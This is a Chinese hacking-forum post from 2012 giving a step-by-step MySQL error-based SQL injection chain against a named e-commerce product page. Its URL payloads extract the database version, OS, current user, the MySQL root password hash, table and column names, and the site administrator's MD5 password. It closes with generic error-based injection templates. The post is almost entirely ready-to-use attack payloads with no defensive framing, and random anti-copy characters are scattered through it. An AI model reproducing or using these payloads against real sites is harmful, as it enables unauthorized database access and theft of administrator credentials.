找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2078|回复: 0
打印 上一主题 下一主题

盲注详细内容

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-5 14:59:30 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
判断版本号 0 e8 I& C( G7 x  H0 F# K: K8 U( D
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23/ J! r& b, X" S6 A+ R
* I1 Q9 A+ \2 U; D8 Z! u( [
判断系统
1 O7 C" Z  R6 g6 c$ l0 h
' @$ t; G# k/ V/ E8 hhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20@@version_compile_os%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%236 j3 H6 H# w# a/ {
! a4 J4 w' L( p2 m' f

3 m, L- e! J' n& }. \( B
: c" S$ D$ u$ i! |9 O当前 user()
; w1 a% [8 D" E" z0 T2 X- b0 X3 m( I- }+ n* u
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20user()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
4 `% z8 [" c2 D
$ O5 Y( y" k. X8 M8 Z
; z/ S) g. m. a! v! d
0 @$ H4 g8 j/ Z* x) Q* ]( \0 D) z当前 database(), p, K) z5 f' x
http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20database()%20),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
0 x6 r& d) ?* T0 v5 Z- t- ?
+ L9 l; T: U) h. I* T; L/ `
: E3 A2 ~/ Y) J
! Y. ?1 Z* J+ i! P2 k: O# S- }6 g; g9 L0 L2 y3 J1 t
root hash# K9 \; o% w- g( g( _  r% j3 e- ?' t

# P0 d+ c: r* p6 J" p) x$ ohttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20Password%20from%20mysql.user%20where%20User=char(114,111,111,116)),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23" b1 D# o9 T1 p: R
1 J( [$ b3 s2 d. P) x0 F
: ]3 m; A3 B& e. [
) g6 M6 e# M0 D4 q
当前 数据库表名
& _6 R5 D. x% ~2 j; t) e2 r3 _
3 R. |( \. c- q0 n( W4 Lhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20TABLE_NAME%20%20from%20information_schema.tables%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20limit%206,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
9 I" m# G" i5 J* z1 E
- ~* I- ^# b3 t5 w$ h5 ~! s4 l; n3 K  ^3 u
. H0 W& t; @( L0 V  c
当前 数据库 user_name 字段
- _2 u! x, Y3 K' [# _
& E+ I2 }- [) u5 B8 _) y0 ~4 H& G1 Nhttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%202,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23# q5 {9 v3 X4 F! w

* a6 M0 J) ~7 j$ m; v8 b, O- c当前 数据库 字段 password
% w1 p( _' g' a1 c- P7 Q. \+ Thttp://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20%20COLUMN_NAME%20from%20information_schema.COLUMNS%20where%20TABLE_SCHEMA=char(115,97,110,115,97,110,49)%20and%20TABLE_NAME=char(101,99,115,95,97,100,109,105,110,95,117,115,101,114)%20limit%204,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
& h" }1 Y6 U1 I/ F4 Q8 w8 j$ C5 F7 j- x7 Q
) D% ?5 t" z- H0 ^

# B0 a% p% N6 Y. r- d! X获得 admin passwd(md5)
3 s1 Y2 O0 U9 e( m4 e
2 g% c# n+ u* C$ m5 B$ d
6 d) z6 X* d# ^8 v" ~http://www.baiud.com/goods.php?id=352&wsid=1%20and%20(1,1)%3E(select%20count(*),concat((select%20concat_ws(char(94),ifnull(cast(%60password%60%20as%20char),char(32)),ifnull(cast(%60user_name%60%20as%20char),char(32)))%20%20from%20sansan1.ecs_admin_user%20limit%200,1),0x3a,floor(rand()*2))%20x%20from%20(select%201%20union%20select%202)%20a%20group%20by%20x%20limit%201)%23
: }* l1 R7 r' ?1 F5 u
! ~) Z9 I3 ?5 G" I6 W4 K报错注射/ Z6 W" \; H( i2 H4 v- I
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select version()) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)4 W* {9 H+ b( d2 V4 c& |" C) A
" Y9 V& h+ P+ s' U
SELECT * FROM table_name where uid = -1 union select 1,(select 1 from(select count(*),concat((select (Select username FROM admin_table LIMIT 0,1) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)- c' H5 p2 Y* m, A2 v
5 Q) U4 @8 C  ]5 q# d" K
and(select 1 from(select count(*),concat((select (select (Select concat(0x7e,0x27,SCHEMA_NAME,0x27,0x7e) FROM information_schema.SCHEMATA LIMIT 21,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表